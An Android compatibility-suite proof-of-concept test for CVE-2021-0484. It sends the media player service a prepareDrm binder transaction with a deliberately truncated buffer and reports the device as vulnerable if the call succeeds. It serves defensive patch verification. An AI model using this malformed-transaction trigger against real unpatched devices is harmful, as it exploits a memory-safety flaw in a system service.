xref: /aosp_15_r20/cts/hostsidetests/securitybulletin/securityPatch/CVE-2021-0484/poc.cpp (revision b7c941bb3fa97aba169d73cee0bed2de8ac964bf)
1 /**
2  * Copyright (C) 2022 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include <binder/IServiceManager.h>
18 #include <media/mediaplayer.h>
19 #include "../includes/common.h"
20 
21 using namespace android;
22 
main()23 int main() {
24     constexpr size_t bufferSize = 16;
25     constexpr uint32_t prepareDrm = 39;
26     constexpr uint32_t unknownTrxnCode = prepareDrm + 5;
27     sp<IServiceManager> serviceManager = defaultServiceManager();
28     FAIL_CHECK(serviceManager != nullptr);
29 
30     sp<IBinder> mediaPlayerService = serviceManager->getService(String16("media.player"));
31     FAIL_CHECK(mediaPlayerService != nullptr);
32 
33     sp<IMediaPlayerService> iMediaPlayerService =
34             IMediaPlayerService::asInterface(mediaPlayerService);
35     FAIL_CHECK(iMediaPlayerService != nullptr);
36 
37     sp<MediaPlayer> mediaPlayer = new MediaPlayer();
38     FAIL_CHECK(mediaPlayer != nullptr);
39 
40     sp<IMediaPlayer> iMediaPlayer = iMediaPlayerService->create(mediaPlayer);
41     FAIL_CHECK(iMediaPlayer != nullptr);
42 
43     Parcel data, reply;
44     data.writeInterfaceToken(iMediaPlayer->getInterfaceDescriptor());
45     status_t status = IMediaPlayer::asBinder(iMediaPlayer)->transact(unknownTrxnCode, data, &reply);
46     FAIL_CHECK(status == UNKNOWN_TRANSACTION);
47 
48     const uint8_t arr[bufferSize] = {};
49     data.write(arr, bufferSize);
50     data.writeUint32(bufferSize);
51     // only write part of the buffer. If we write `bufferSize-3` or more,
52     // binder will round it up to bufferSize. It rounds up to the nearest 4. So,
53     // 7 is sufficiently small, it won't get rounded up to the full bufferSize.
54     data.write(arr, 7);
55     status = IMediaPlayer::asBinder(iMediaPlayer)->transact(prepareDrm, data, &reply);
56     return status == OK ? EXIT_VULNERABLE : EXIT_SUCCESS;
57 }
58